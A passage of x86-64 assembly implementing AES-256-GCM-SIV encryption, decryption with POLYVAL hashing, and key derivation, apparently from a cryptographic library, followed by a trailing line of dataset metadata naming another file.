vaesenc xmm7,xmm7,xmm15
vaesenc xmm8,xmm8,xmm15
vmovdqu xmm15,XMMWORD[176+rcx]
vaesenc xmm1,xmm1,xmm15
vaesenc xmm2,xmm2,xmm15
vaesenc xmm3,xmm3,xmm15
vaesenc xmm4,xmm4,xmm15
vaesenc xmm5,xmm5,xmm15
vaesenc xmm6,xmm6,xmm15
vaesenc xmm7,xmm7,xmm15
vaesenc xmm8,xmm8,xmm15
vmovdqu xmm15,XMMWORD[192+rcx]
vaesenc xmm1,xmm1,xmm15
vaesenc xmm2,xmm2,xmm15
vaesenc xmm3,xmm3,xmm15
vaesenc xmm4,xmm4,xmm15
vaesenc xmm5,xmm5,xmm15
vaesenc xmm6,xmm6,xmm15
vaesenc xmm7,xmm7,xmm15
vaesenc xmm8,xmm8,xmm15
vmovdqu xmm15,XMMWORD[208+rcx]
vaesenc xmm1,xmm1,xmm15
vaesenc xmm2,xmm2,xmm15
vaesenc xmm3,xmm3,xmm15
vaesenc xmm4,xmm4,xmm15
vaesenc xmm5,xmm5,xmm15
vaesenc xmm6,xmm6,xmm15
vaesenc xmm7,xmm7,xmm15
vaesenc xmm8,xmm8,xmm15
vmovdqu xmm15,XMMWORD[224+rcx]
vaesenclast xmm1,xmm1,xmm15
vaesenclast xmm2,xmm2,xmm15
vaesenclast xmm3,xmm3,xmm15
vaesenclast xmm4,xmm4,xmm15
vaesenclast xmm5,xmm5,xmm15
vaesenclast xmm6,xmm6,xmm15
vaesenclast xmm7,xmm7,xmm15
vaesenclast xmm8,xmm8,xmm15
vpxor xmm1,xmm1,XMMWORD[rdi]
vpxor xmm2,xmm2,XMMWORD[16+rdi]
vpxor xmm3,xmm3,XMMWORD[32+rdi]
vpxor xmm4,xmm4,XMMWORD[48+rdi]
vpxor xmm5,xmm5,XMMWORD[64+rdi]
vpxor xmm6,xmm6,XMMWORD[80+rdi]
vpxor xmm7,xmm7,XMMWORD[96+rdi]
vpxor xmm8,xmm8,XMMWORD[112+rdi]
sub r8,1
vmovdqu XMMWORD[rsi],xmm1
vmovdqu XMMWORD[16+rsi],xmm2
vmovdqu XMMWORD[32+rsi],xmm3
vmovdqu XMMWORD[48+rsi],xmm4
vmovdqu XMMWORD[64+rsi],xmm5
vmovdqu XMMWORD[80+rsi],xmm6
vmovdqu XMMWORD[96+rsi],xmm7
vmovdqu XMMWORD[112+rsi],xmm8
jne NEAR $L$256_enc_msg_x8_loop1
add rsi,128
add rdi,128
$L$256_enc_msg_x8_check_remainder:
cmp r10,0
je NEAR $L$256_enc_msg_x8_out
$L$256_enc_msg_x8_loop2:
vmovdqa xmm1,xmm0
vpaddd xmm0,xmm0,XMMWORD[one]
vpxor xmm1,xmm1,XMMWORD[rcx]
vaesenc xmm1,xmm1,XMMWORD[16+rcx]
vaesenc xmm1,xmm1,XMMWORD[32+rcx]
vaesenc xmm1,xmm1,XMMWORD[48+rcx]
vaesenc xmm1,xmm1,XMMWORD[64+rcx]
vaesenc xmm1,xmm1,XMMWORD[80+rcx]
vaesenc xmm1,xmm1,XMMWORD[96+rcx]
vaesenc xmm1,xmm1,XMMWORD[112+rcx]
vaesenc xmm1,xmm1,XMMWORD[128+rcx]
vaesenc xmm1,xmm1,XMMWORD[144+rcx]
vaesenc xmm1,xmm1,XMMWORD[160+rcx]
vaesenc xmm1,xmm1,XMMWORD[176+rcx]
vaesenc xmm1,xmm1,XMMWORD[192+rcx]
vaesenc xmm1,xmm1,XMMWORD[208+rcx]
vaesenclast xmm1,xmm1,XMMWORD[224+rcx]
vpxor xmm1,xmm1,XMMWORD[rdi]
vmovdqu XMMWORD[rsi],xmm1
add rdi,16
add rsi,16
sub r10,1
jnz NEAR $L$256_enc_msg_x8_loop2
$L$256_enc_msg_x8_out:
mov rdi,QWORD[8+rsp] ;WIN64 epilogue
mov rsi,QWORD[16+rsp]
DB 0F3h,0C3h ;repret
$L$SEH_end_aes256gcmsiv_enc_msg_x8:
global aes256gcmsiv_dec
ALIGN 16
aes256gcmsiv_dec:
mov QWORD[8+rsp],rdi ;WIN64 prologue
mov QWORD[16+rsp],rsi
mov rax,rsp
$L$SEH_begin_aes256gcmsiv_dec:
mov rdi,rcx
mov rsi,rdx
mov rdx,r8
mov rcx,r9
mov r8,QWORD[40+rsp]
mov r9,QWORD[48+rsp]
test r9,~15
jnz NEAR $L$256_dec_start
mov rdi,QWORD[8+rsp] ;WIN64 epilogue
mov rsi,QWORD[16+rsp]
DB 0F3h,0C3h ;repret
$L$256_dec_start:
vzeroupper
vmovdqa xmm0,XMMWORD[rdx]
mov rax,rdx
lea rax,[32+rax]
lea rcx,[32+rcx]
vmovdqu xmm15,XMMWORD[r9*1+rdi]
vpor xmm15,xmm15,XMMWORD[OR_MASK]
and r9,~15
cmp r9,96
jb NEAR $L$256_dec_loop2
sub r9,96
vmovdqa xmm7,xmm15
vpaddd xmm8,xmm7,XMMWORD[one]
vpaddd xmm9,xmm7,XMMWORD[two]
vpaddd xmm10,xmm9,XMMWORD[one]
vpaddd xmm11,xmm9,XMMWORD[two]
vpaddd xmm12,xmm11,XMMWORD[one]
vpaddd xmm15,xmm11,XMMWORD[two]
vpxor xmm7,xmm7,XMMWORD[r8]
vpxor xmm8,xmm8,XMMWORD[r8]
vpxor xmm9,xmm9,XMMWORD[r8]
vpxor xmm10,xmm10,XMMWORD[r8]
vpxor xmm11,xmm11,XMMWORD[r8]
vpxor xmm12,xmm12,XMMWORD[r8]
vmovdqu xmm4,XMMWORD[16+r8]
vaesenc xmm7,xmm7,xmm4
vaesenc xmm8,xmm8,xmm4
vaesenc xmm9,xmm9,xmm4
vaesenc xmm10,xmm10,xmm4
vaesenc xmm11,xmm11,xmm4
vaesenc xmm12,xmm12,xmm4
vmovdqu xmm4,XMMWORD[32+r8]
vaesenc xmm7,xmm7,xmm4
vaesenc xmm8,xmm8,xmm4
vaesenc xmm9,xmm9,xmm4
vaesenc xmm10,xmm10,xmm4
vaesenc xmm11,xmm11,xmm4
vaesenc xmm12,xmm12,xmm4
vmovdqu xmm4,XMMWORD[48+r8]
vaesenc xmm7,xmm7,xmm4
vaesenc xmm8,xmm8,xmm4
vaesenc xmm9,xmm9,xmm4
vaesenc xmm10,xmm10,xmm4
vaesenc xmm11,xmm11,xmm4
vaesenc xmm12,xmm12,xmm4
vmovdqu xmm4,XMMWORD[64+r8]
vaesenc xmm7,xmm7,xmm4
vaesenc xmm8,xmm8,xmm4
vaesenc xmm9,xmm9,xmm4
vaesenc xmm10,xmm10,xmm4
vaesenc xmm11,xmm11,xmm4
vaesenc xmm12,xmm12,xmm4
vmovdqu xmm4,XMMWORD[80+r8]
vaesenc xmm7,xmm7,xmm4
vaesenc xmm8,xmm8,xmm4
vaesenc xmm9,xmm9,xmm4
vaesenc xmm10,xmm10,xmm4
vaesenc xmm11,xmm11,xmm4
vaesenc xmm12,xmm12,xmm4
vmovdqu xmm4,XMMWORD[96+r8]
vaesenc xmm7,xmm7,xmm4
vaesenc xmm8,xmm8,xmm4
vaesenc xmm9,xmm9,xmm4
vaesenc xmm10,xmm10,xmm4
vaesenc xmm11,xmm11,xmm4
vaesenc xmm12,xmm12,xmm4
vmovdqu xmm4,XMMWORD[112+r8]
vaesenc xmm7,xmm7,xmm4
vaesenc xmm8,xmm8,xmm4
vaesenc xmm9,xmm9,xmm4
vaesenc xmm10,xmm10,xmm4
vaesenc xmm11,xmm11,xmm4
vaesenc xmm12,xmm12,xmm4
vmovdqu xmm4,XMMWORD[128+r8]
vaesenc xmm7,xmm7,xmm4
vaesenc xmm8,xmm8,xmm4
vaesenc xmm9,xmm9,xmm4
vaesenc xmm10,xmm10,xmm4
vaesenc xmm11,xmm11,xmm4
vaesenc xmm12,xmm12,xmm4
vmovdqu xmm4,XMMWORD[144+r8]
vaesenc xmm7,xmm7,xmm4
vaesenc xmm8,xmm8,xmm4
vaesenc xmm9,xmm9,xmm4
vaesenc xmm10,xmm10,xmm4
vaesenc xmm11,xmm11,xmm4
vaesenc xmm12,xmm12,xmm4
vmovdqu xmm4,XMMWORD[160+r8]
vaesenc xmm7,xmm7,xmm4
vaesenc xmm8,xmm8,xmm4
vaesenc xmm9,xmm9,xmm4
vaesenc xmm10,xmm10,xmm4
vaesenc xmm11,xmm11,xmm4
vaesenc xmm12,xmm12,xmm4
vmovdqu xmm4,XMMWORD[176+r8]
vaesenc xmm7,xmm7,xmm4
vaesenc xmm8,xmm8,xmm4
vaesenc xmm9,xmm9,xmm4
vaesenc xmm10,xmm10,xmm4
vaesenc xmm11,xmm11,xmm4
vaesenc xmm12,xmm12,xmm4
vmovdqu xmm4,XMMWORD[192+r8]
vaesenc xmm7,xmm7,xmm4
vaesenc xmm8,xmm8,xmm4
vaesenc xmm9,xmm9,xmm4
vaesenc xmm10,xmm10,xmm4
vaesenc xmm11,xmm11,xmm4
vaesenc xmm12,xmm12,xmm4
vmovdqu xmm4,XMMWORD[208+r8]
vaesenc xmm7,xmm7,xmm4
vaesenc xmm8,xmm8,xmm4
vaesenc xmm9,xmm9,xmm4
vaesenc xmm10,xmm10,xmm4
vaesenc xmm11,xmm11,xmm4
vaesenc xmm12,xmm12,xmm4
vmovdqu xmm4,XMMWORD[224+r8]
vaesenclast xmm7,xmm7,xmm4
vaesenclast xmm8,xmm8,xmm4
vaesenclast xmm9,xmm9,xmm4
vaesenclast xmm10,xmm10,xmm4
vaesenclast xmm11,xmm11,xmm4
vaesenclast xmm12,xmm12,xmm4
vpxor xmm7,xmm7,XMMWORD[rdi]
vpxor xmm8,xmm8,XMMWORD[16+rdi]
vpxor xmm9,xmm9,XMMWORD[32+rdi]
vpxor xmm10,xmm10,XMMWORD[48+rdi]
vpxor xmm11,xmm11,XMMWORD[64+rdi]
vpxor xmm12,xmm12,XMMWORD[80+rdi]
vmovdqu XMMWORD[rsi],xmm7
vmovdqu XMMWORD[16+rsi],xmm8
vmovdqu XMMWORD[32+rsi],xmm9
vmovdqu XMMWORD[48+rsi],xmm10
vmovdqu XMMWORD[64+rsi],xmm11
vmovdqu XMMWORD[80+rsi],xmm12
add rdi,96
add rsi,96
jmp NEAR $L$256_dec_loop1
ALIGN 64
$L$256_dec_loop1:
cmp r9,96
jb NEAR $L$256_dec_finish_96
sub r9,96
vmovdqa xmm6,xmm12
vmovdqa XMMWORD[(16-32)+rax],xmm11
vmovdqa XMMWORD[(32-32)+rax],xmm10
vmovdqa XMMWORD[(48-32)+rax],xmm9
vmovdqa XMMWORD[(64-32)+rax],xmm8
vmovdqa XMMWORD[(80-32)+rax],xmm7
vmovdqa xmm7,xmm15
vpaddd xmm8,xmm7,XMMWORD[one]
vpaddd xmm9,xmm7,XMMWORD[two]
vpaddd xmm10,xmm9,XMMWORD[one]
vpaddd xmm11,xmm9,XMMWORD[two]
vpaddd xmm12,xmm11,XMMWORD[one]
vpaddd xmm15,xmm11,XMMWORD[two]
vmovdqa xmm4,XMMWORD[r8]
vpxor xmm7,xmm7,xmm4
vpxor xmm8,xmm8,xmm4
vpxor xmm9,xmm9,xmm4
vpxor xmm10,xmm10,xmm4
vpxor xmm11,xmm11,xmm4
vpxor xmm12,xmm12,xmm4
vmovdqu xmm4,XMMWORD[((0-32))+rcx]
vpclmulqdq xmm2,xmm6,xmm4,0x11
vpclmulqdq xmm3,xmm6,xmm4,0x00
vpclmulqdq xmm1,xmm6,xmm4,0x01
vpclmulqdq xmm4,xmm6,xmm4,0x10
vpxor xmm1,xmm1,xmm4
vmovdqu xmm4,XMMWORD[16+r8]
vaesenc xmm7,xmm7,xmm4
vaesenc xmm8,xmm8,xmm4
vaesenc xmm9,xmm9,xmm4
vaesenc xmm10,xmm10,xmm4
vaesenc xmm11,xmm11,xmm4
vaesenc xmm12,xmm12,xmm4
vmovdqu xmm6,XMMWORD[((-16))+rax]
vmovdqu xmm13,XMMWORD[((-16))+rcx]
vpclmulqdq xmm4,xmm6,xmm13,0x10
vpxor xmm1,xmm1,xmm4
vpclmulqdq xmm4,xmm6,xmm13,0x11
vpxor xmm2,xmm2,xmm4
vpclmulqdq xmm4,xmm6,xmm13,0x00
vpxor xmm3,xmm3,xmm4
vpclmulqdq xmm4,xmm6,xmm13,0x01
vpxor xmm1,xmm1,xmm4
vmovdqu xmm4,XMMWORD[32+r8]
vaesenc xmm7,xmm7,xmm4
vaesenc xmm8,xmm8,xmm4
vaesenc xmm9,xmm9,xmm4
vaesenc xmm10,xmm10,xmm4
vaesenc xmm11,xmm11,xmm4
vaesenc xmm12,xmm12,xmm4
vmovdqu xmm6,XMMWORD[rax]
vmovdqu xmm13,XMMWORD[rcx]
vpclmulqdq xmm4,xmm6,xmm13,0x10
vpxor xmm1,xmm1,xmm4
vpclmulqdq xmm4,xmm6,xmm13,0x11
vpxor xmm2,xmm2,xmm4
vpclmulqdq xmm4,xmm6,xmm13,0x00
vpxor xmm3,xmm3,xmm4
vpclmulqdq xmm4,xmm6,xmm13,0x01
vpxor xmm1,xmm1,xmm4
vmovdqu xmm4,XMMWORD[48+r8]
vaesenc xmm7,xmm7,xmm4
vaesenc xmm8,xmm8,xmm4
vaesenc xmm9,xmm9,xmm4
vaesenc xmm10,xmm10,xmm4
vaesenc xmm11,xmm11,xmm4
vaesenc xmm12,xmm12,xmm4
vmovdqu xmm6,XMMWORD[16+rax]
vmovdqu xmm13,XMMWORD[16+rcx]
vpclmulqdq xmm4,xmm6,xmm13,0x10
vpxor xmm1,xmm1,xmm4
vpclmulqdq xmm4,xmm6,xmm13,0x11
vpxor xmm2,xmm2,xmm4
vpclmulqdq xmm4,xmm6,xmm13,0x00
vpxor xmm3,xmm3,xmm4
vpclmulqdq xmm4,xmm6,xmm13,0x01
vpxor xmm1,xmm1,xmm4
vmovdqu xmm4,XMMWORD[64+r8]
vaesenc xmm7,xmm7,xmm4
vaesenc xmm8,xmm8,xmm4
vaesenc xmm9,xmm9,xmm4
vaesenc xmm10,xmm10,xmm4
vaesenc xmm11,xmm11,xmm4
vaesenc xmm12,xmm12,xmm4
vmovdqu xmm6,XMMWORD[32+rax]
vmovdqu xmm13,XMMWORD[32+rcx]
vpclmulqdq xmm4,xmm6,xmm13,0x10
vpxor xmm1,xmm1,xmm4
vpclmulqdq xmm4,xmm6,xmm13,0x11
vpxor xmm2,xmm2,xmm4
vpclmulqdq xmm4,xmm6,xmm13,0x00
vpxor xmm3,xmm3,xmm4
vpclmulqdq xmm4,xmm6,xmm13,0x01
vpxor xmm1,xmm1,xmm4
vmovdqu xmm4,XMMWORD[80+r8]
vaesenc xmm7,xmm7,xmm4
vaesenc xmm8,xmm8,xmm4
vaesenc xmm9,xmm9,xmm4
vaesenc xmm10,xmm10,xmm4
vaesenc xmm11,xmm11,xmm4
vaesenc xmm12,xmm12,xmm4
vmovdqu xmm4,XMMWORD[96+r8]
vaesenc xmm7,xmm7,xmm4
vaesenc xmm8,xmm8,xmm4
vaesenc xmm9,xmm9,xmm4
vaesenc xmm10,xmm10,xmm4
vaesenc xmm11,xmm11,xmm4
vaesenc xmm12,xmm12,xmm4
vmovdqu xmm4,XMMWORD[112+r8]
vaesenc xmm7,xmm7,xmm4
vaesenc xmm8,xmm8,xmm4
vaesenc xmm9,xmm9,xmm4
vaesenc xmm10,xmm10,xmm4
vaesenc xmm11,xmm11,xmm4
vaesenc xmm12,xmm12,xmm4
vmovdqa xmm6,XMMWORD[((80-32))+rax]
vpxor xmm6,xmm6,xmm0
vmovdqu xmm5,XMMWORD[((80-32))+rcx]
vpclmulqdq xmm4,xmm6,xmm5,0x01
vpxor xmm1,xmm1,xmm4
vpclmulqdq xmm4,xmm6,xmm5,0x11
vpxor xmm2,xmm2,xmm4
vpclmulqdq xmm4,xmm6,xmm5,0x00
vpxor xmm3,xmm3,xmm4
vpclmulqdq xmm4,xmm6,xmm5,0x10
vpxor xmm1,xmm1,xmm4
vmovdqu xmm4,XMMWORD[128+r8]
vaesenc xmm7,xmm7,xmm4
vaesenc xmm8,xmm8,xmm4
vaesenc xmm9,xmm9,xmm4
vaesenc xmm10,xmm10,xmm4
vaesenc xmm11,xmm11,xmm4
vaesenc xmm12,xmm12,xmm4
vpsrldq xmm4,xmm1,8
vpxor xmm5,xmm2,xmm4
vpslldq xmm4,xmm1,8
vpxor xmm0,xmm3,xmm4
vmovdqa xmm3,XMMWORD[poly]
vmovdqu xmm4,XMMWORD[144+r8]
vaesenc xmm7,xmm7,xmm4
vaesenc xmm8,xmm8,xmm4
vaesenc xmm9,xmm9,xmm4
vaesenc xmm10,xmm10,xmm4
vaesenc xmm11,xmm11,xmm4
vaesenc xmm12,xmm12,xmm4
vmovdqu xmm4,XMMWORD[160+r8]
vaesenc xmm7,xmm7,xmm4
vaesenc xmm8,xmm8,xmm4
vaesenc xmm9,xmm9,xmm4
vaesenc xmm10,xmm10,xmm4
vaesenc xmm11,xmm11,xmm4
vaesenc xmm12,xmm12,xmm4
vmovdqu xmm4,XMMWORD[176+r8]
vaesenc xmm7,xmm7,xmm4
vaesenc xmm8,xmm8,xmm4
vaesenc xmm9,xmm9,xmm4
vaesenc xmm10,xmm10,xmm4
vaesenc xmm11,xmm11,xmm4
vaesenc xmm12,xmm12,xmm4
vmovdqu xmm4,XMMWORD[192+r8]
vaesenc xmm7,xmm7,xmm4
vaesenc xmm8,xmm8,xmm4
vaesenc xmm9,xmm9,xmm4
vaesenc xmm10,xmm10,xmm4
vaesenc xmm11,xmm11,xmm4
vaesenc xmm12,xmm12,xmm4
vmovdqu xmm4,XMMWORD[208+r8]
vaesenc xmm7,xmm7,xmm4
vaesenc xmm8,xmm8,xmm4
vaesenc xmm9,xmm9,xmm4
vaesenc xmm10,xmm10,xmm4
vaesenc xmm11,xmm11,xmm4
vaesenc xmm12,xmm12,xmm4
vmovdqu xmm6,XMMWORD[224+r8]
vpalignr xmm2,xmm0,xmm0,8
vpclmulqdq xmm0,xmm0,xmm3,0x10
vpxor xmm0,xmm2,xmm0
vpxor xmm4,xmm6,XMMWORD[rdi]
vaesenclast xmm7,xmm7,xmm4
vpxor xmm4,xmm6,XMMWORD[16+rdi]
vaesenclast xmm8,xmm8,xmm4
vpxor xmm4,xmm6,XMMWORD[32+rdi]
vaesenclast xmm9,xmm9,xmm4
vpxor xmm4,xmm6,XMMWORD[48+rdi]
vaesenclast xmm10,xmm10,xmm4
vpxor xmm4,xmm6,XMMWORD[64+rdi]
vaesenclast xmm11,xmm11,xmm4
vpxor xmm4,xmm6,XMMWORD[80+rdi]
vaesenclast xmm12,xmm12,xmm4
vpalignr xmm2,xmm0,xmm0,8
vpclmulqdq xmm0,xmm0,xmm3,0x10
vpxor xmm0,xmm2,xmm0
vmovdqu XMMWORD[rsi],xmm7
vmovdqu XMMWORD[16+rsi],xmm8
vmovdqu XMMWORD[32+rsi],xmm9
vmovdqu XMMWORD[48+rsi],xmm10
vmovdqu XMMWORD[64+rsi],xmm11
vmovdqu XMMWORD[80+rsi],xmm12
vpxor xmm0,xmm0,xmm5
lea rdi,[96+rdi]
lea rsi,[96+rsi]
jmp NEAR $L$256_dec_loop1
$L$256_dec_finish_96:
vmovdqa xmm6,xmm12
vmovdqa XMMWORD[(16-32)+rax],xmm11
vmovdqa XMMWORD[(32-32)+rax],xmm10
vmovdqa XMMWORD[(48-32)+rax],xmm9
vmovdqa XMMWORD[(64-32)+rax],xmm8
vmovdqa XMMWORD[(80-32)+rax],xmm7
vmovdqu xmm4,XMMWORD[((0-32))+rcx]
vpclmulqdq xmm1,xmm6,xmm4,0x10
vpclmulqdq xmm2,xmm6,xmm4,0x11
vpclmulqdq xmm3,xmm6,xmm4,0x00
vpclmulqdq xmm4,xmm6,xmm4,0x01
vpxor xmm1,xmm1,xmm4
vmovdqu xmm6,XMMWORD[((-16))+rax]
vmovdqu xmm13,XMMWORD[((-16))+rcx]
vpclmulqdq xmm4,xmm6,xmm13,0x10
vpxor xmm1,xmm1,xmm4
vpclmulqdq xmm4,xmm6,xmm13,0x11
vpxor xmm2,xmm2,xmm4
vpclmulqdq xmm4,xmm6,xmm13,0x00
vpxor xmm3,xmm3,xmm4
vpclmulqdq xmm4,xmm6,xmm13,0x01
vpxor xmm1,xmm1,xmm4
vmovdqu xmm6,XMMWORD[rax]
vmovdqu xmm13,XMMWORD[rcx]
vpclmulqdq xmm4,xmm6,xmm13,0x10
vpxor xmm1,xmm1,xmm4
vpclmulqdq xmm4,xmm6,xmm13,0x11
vpxor xmm2,xmm2,xmm4
vpclmulqdq xmm4,xmm6,xmm13,0x00
vpxor xmm3,xmm3,xmm4
vpclmulqdq xmm4,xmm6,xmm13,0x01
vpxor xmm1,xmm1,xmm4
vmovdqu xmm6,XMMWORD[16+rax]
vmovdqu xmm13,XMMWORD[16+rcx]
vpclmulqdq xmm4,xmm6,xmm13,0x10
vpxor xmm1,xmm1,xmm4
vpclmulqdq xmm4,xmm6,xmm13,0x11
vpxor xmm2,xmm2,xmm4
vpclmulqdq xmm4,xmm6,xmm13,0x00
vpxor xmm3,xmm3,xmm4
vpclmulqdq xmm4,xmm6,xmm13,0x01
vpxor xmm1,xmm1,xmm4
vmovdqu xmm6,XMMWORD[32+rax]
vmovdqu xmm13,XMMWORD[32+rcx]
vpclmulqdq xmm4,xmm6,xmm13,0x10
vpxor xmm1,xmm1,xmm4
vpclmulqdq xmm4,xmm6,xmm13,0x11
vpxor xmm2,xmm2,xmm4
vpclmulqdq xmm4,xmm6,xmm13,0x00
vpxor xmm3,xmm3,xmm4
vpclmulqdq xmm4,xmm6,xmm13,0x01
vpxor xmm1,xmm1,xmm4
vmovdqu xmm6,XMMWORD[((80-32))+rax]
vpxor xmm6,xmm6,xmm0
vmovdqu xmm5,XMMWORD[((80-32))+rcx]
vpclmulqdq xmm4,xmm6,xmm5,0x11
vpxor xmm2,xmm2,xmm4
vpclmulqdq xmm4,xmm6,xmm5,0x00
vpxor xmm3,xmm3,xmm4
vpclmulqdq xmm4,xmm6,xmm5,0x10
vpxor xmm1,xmm1,xmm4
vpclmulqdq xmm4,xmm6,xmm5,0x01
vpxor xmm1,xmm1,xmm4
vpsrldq xmm4,xmm1,8
vpxor xmm5,xmm2,xmm4
vpslldq xmm4,xmm1,8
vpxor xmm0,xmm3,xmm4
vmovdqa xmm3,XMMWORD[poly]
vpalignr xmm2,xmm0,xmm0,8
vpclmulqdq xmm0,xmm0,xmm3,0x10
vpxor xmm0,xmm2,xmm0
vpalignr xmm2,xmm0,xmm0,8
vpclmulqdq xmm0,xmm0,xmm3,0x10
vpxor xmm0,xmm2,xmm0
vpxor xmm0,xmm0,xmm5
$L$256_dec_loop2:
cmp r9,16
jb NEAR $L$256_dec_out
sub r9,16
vmovdqa xmm2,xmm15
vpaddd xmm15,xmm15,XMMWORD[one]
vpxor xmm2,xmm2,XMMWORD[r8]
vaesenc xmm2,xmm2,XMMWORD[16+r8]
vaesenc xmm2,xmm2,XMMWORD[32+r8]
vaesenc xmm2,xmm2,XMMWORD[48+r8]
vaesenc xmm2,xmm2,XMMWORD[64+r8]
vaesenc xmm2,xmm2,XMMWORD[80+r8]
vaesenc xmm2,xmm2,XMMWORD[96+r8]
vaesenc xmm2,xmm2,XMMWORD[112+r8]
vaesenc xmm2,xmm2,XMMWORD[128+r8]
vaesenc xmm2,xmm2,XMMWORD[144+r8]
vaesenc xmm2,xmm2,XMMWORD[160+r8]
vaesenc xmm2,xmm2,XMMWORD[176+r8]
vaesenc xmm2,xmm2,XMMWORD[192+r8]
vaesenc xmm2,xmm2,XMMWORD[208+r8]
vaesenclast xmm2,xmm2,XMMWORD[224+r8]
vpxor xmm2,xmm2,XMMWORD[rdi]
vmovdqu XMMWORD[rsi],xmm2
add rdi,16
add rsi,16
vpxor xmm0,xmm0,xmm2
vmovdqa xmm1,XMMWORD[((-32))+rcx]
call GFMUL
jmp NEAR $L$256_dec_loop2
$L$256_dec_out:
vmovdqu XMMWORD[rdx],xmm0
mov rdi,QWORD[8+rsp] ;WIN64 epilogue
mov rsi,QWORD[16+rsp]
DB 0F3h,0C3h ;repret
$L$SEH_end_aes256gcmsiv_dec:
global aes256gcmsiv_kdf
ALIGN 16
aes256gcmsiv_kdf:
mov QWORD[8+rsp],rdi ;WIN64 prologue
mov QWORD[16+rsp],rsi
mov rax,rsp
$L$SEH_begin_aes256gcmsiv_kdf:
mov rdi,rcx
mov rsi,rdx
mov rdx,r8
vmovdqa xmm1,XMMWORD[rdx]
vmovdqa xmm4,XMMWORD[rdi]
vmovdqa xmm11,XMMWORD[and_mask]
vmovdqa xmm8,XMMWORD[one]
vpshufd xmm4,xmm4,0x90
vpand xmm4,xmm4,xmm11
vpaddd xmm6,xmm4,xmm8
vpaddd xmm7,xmm6,xmm8
vpaddd xmm11,xmm7,xmm8
vpaddd xmm12,xmm11,xmm8
vpaddd xmm13,xmm12,xmm8
vpxor xmm4,xmm4,xmm1
vpxor xmm6,xmm6,xmm1
vpxor xmm7,xmm7,xmm1
vpxor xmm11,xmm11,xmm1
vpxor xmm12,xmm12,xmm1
vpxor xmm13,xmm13,xmm1
vmovdqa xmm1,XMMWORD[16+rdx]
vaesenc xmm4,xmm4,xmm1
vaesenc xmm6,xmm6,xmm1
vaesenc xmm7,xmm7,xmm1
vaesenc xmm11,xmm11,xmm1
vaesenc xmm12,xmm12,xmm1
vaesenc xmm13,xmm13,xmm1
vmovdqa xmm2,XMMWORD[32+rdx]
vaesenc xmm4,xmm4,xmm2
vaesenc xmm6,xmm6,xmm2
vaesenc xmm7,xmm7,xmm2
vaesenc xmm11,xmm11,xmm2
vaesenc xmm12,xmm12,xmm2
vaesenc xmm13,xmm13,xmm2
vmovdqa xmm1,XMMWORD[48+rdx]
vaesenc xmm4,xmm4,xmm1
vaesenc xmm6,xmm6,xmm1
vaesenc xmm7,xmm7,xmm1
vaesenc xmm11,xmm11,xmm1
vaesenc xmm12,xmm12,xmm1
vaesenc xmm13,xmm13,xmm1
vmovdqa xmm2,XMMWORD[64+rdx]
vaesenc xmm4,xmm4,xmm2
vaesenc xmm6,xmm6,xmm2
vaesenc xmm7,xmm7,xmm2
vaesenc xmm11,xmm11,xmm2
vaesenc xmm12,xmm12,xmm2
vaesenc xmm13,xmm13,xmm2
vmovdqa xmm1,XMMWORD[80+rdx]
vaesenc xmm4,xmm4,xmm1
vaesenc xmm6,xmm6,xmm1
vaesenc xmm7,xmm7,xmm1
vaesenc xmm11,xmm11,xmm1
vaesenc xmm12,xmm12,xmm1
vaesenc xmm13,xmm13,xmm1
vmovdqa xmm2,XMMWORD[96+rdx]
vaesenc xmm4,xmm4,xmm2
vaesenc xmm6,xmm6,xmm2
vaesenc xmm7,xmm7,xmm2
vaesenc xmm11,xmm11,xmm2
vaesenc xmm12,xmm12,xmm2
vaesenc xmm13,xmm13,xmm2
vmovdqa xmm1,XMMWORD[112+rdx]
vaesenc xmm4,xmm4,xmm1
vaesenc xmm6,xmm6,xmm1
vaesenc xmm7,xmm7,xmm1
vaesenc xmm11,xmm11,xmm1
vaesenc xmm12,xmm12,xmm1
vaesenc xmm13,xmm13,xmm1
vmovdqa xmm2,XMMWORD[128+rdx]
vaesenc xmm4,xmm4,xmm2
vaesenc xmm6,xmm6,xmm2
vaesenc xmm7,xmm7,xmm2
vaesenc xmm11,xmm11,xmm2
vaesenc xmm12,xmm12,xmm2
vaesenc xmm13,xmm13,xmm2
vmovdqa xmm1,XMMWORD[144+rdx]
vaesenc xmm4,xmm4,xmm1
vaesenc xmm6,xmm6,xmm1
vaesenc xmm7,xmm7,xmm1
vaesenc xmm11,xmm11,xmm1
vaesenc xmm12,xmm12,xmm1
vaesenc xmm13,xmm13,xmm1
vmovdqa xmm2,XMMWORD[160+rdx]
vaesenc xmm4,xmm4,xmm2
vaesenc xmm6,xmm6,xmm2
vaesenc xmm7,xmm7,xmm2
vaesenc xmm11,xmm11,xmm2
vaesenc xmm12,xmm12,xmm2
vaesenc xmm13,xmm13,xmm2
vmovdqa xmm1,XMMWORD[176+rdx]
vaesenc xmm4,xmm4,xmm1
vaesenc xmm6,xmm6,xmm1
vaesenc xmm7,xmm7,xmm1
vaesenc xmm11,xmm11,xmm1
vaesenc xmm12,xmm12,xmm1
vaesenc xmm13,xmm13,xmm1
vmovdqa xmm2,XMMWORD[192+rdx]
vaesenc xmm4,xmm4,xmm2
vaesenc xmm6,xmm6,xmm2
vaesenc xmm7,xmm7,xmm2
vaesenc xmm11,xmm11,xmm2
vaesenc xmm12,xmm12,xmm2
vaesenc xmm13,xmm13,xmm2
vmovdqa xmm1,XMMWORD[208+rdx]
vaesenc xmm4,xmm4,xmm1
vaesenc xmm6,xmm6,xmm1
vaesenc xmm7,xmm7,xmm1
vaesenc xmm11,xmm11,xmm1
vaesenc xmm12,xmm12,xmm1
vaesenc xmm13,xmm13,xmm1
vmovdqa xmm2,XMMWORD[224+rdx]
vaesenclast xmm4,xmm4,xmm2
vaesenclast xmm6,xmm6,xmm2
vaesenclast xmm7,xmm7,xmm2
vaesenclast xmm11,xmm11,xmm2
vaesenclast xmm12,xmm12,xmm2
vaesenclast xmm13,xmm13,xmm2
vmovdqa XMMWORD[rsi],xmm4
vmovdqa XMMWORD[16+rsi],xmm6
vmovdqa XMMWORD[32+rsi],xmm7
vmovdqa XMMWORD[48+rsi],xmm11
vmovdqa XMMWORD[64+rsi],xmm12
vmovdqa XMMWORD[80+rsi],xmm13
mov rdi,QWORD[8+rsp] ;WIN64 epilogue
mov rsi,QWORD[16+rsp]
DB 0F3h,0C3h ;repret
$L$SEH_end_aes256gcmsiv_kdf:
| 21.024152 | 47 | 0.774407 |
791dc34099dfc66d124641253ee1587350a06f97 | 16,230 | asm | Assembly | arch/x86/boot/vhd/stage1.asm | luiz117/gramado | c63dfcc95e078f7534d28aacb837c6dcbd38fbd8 | [
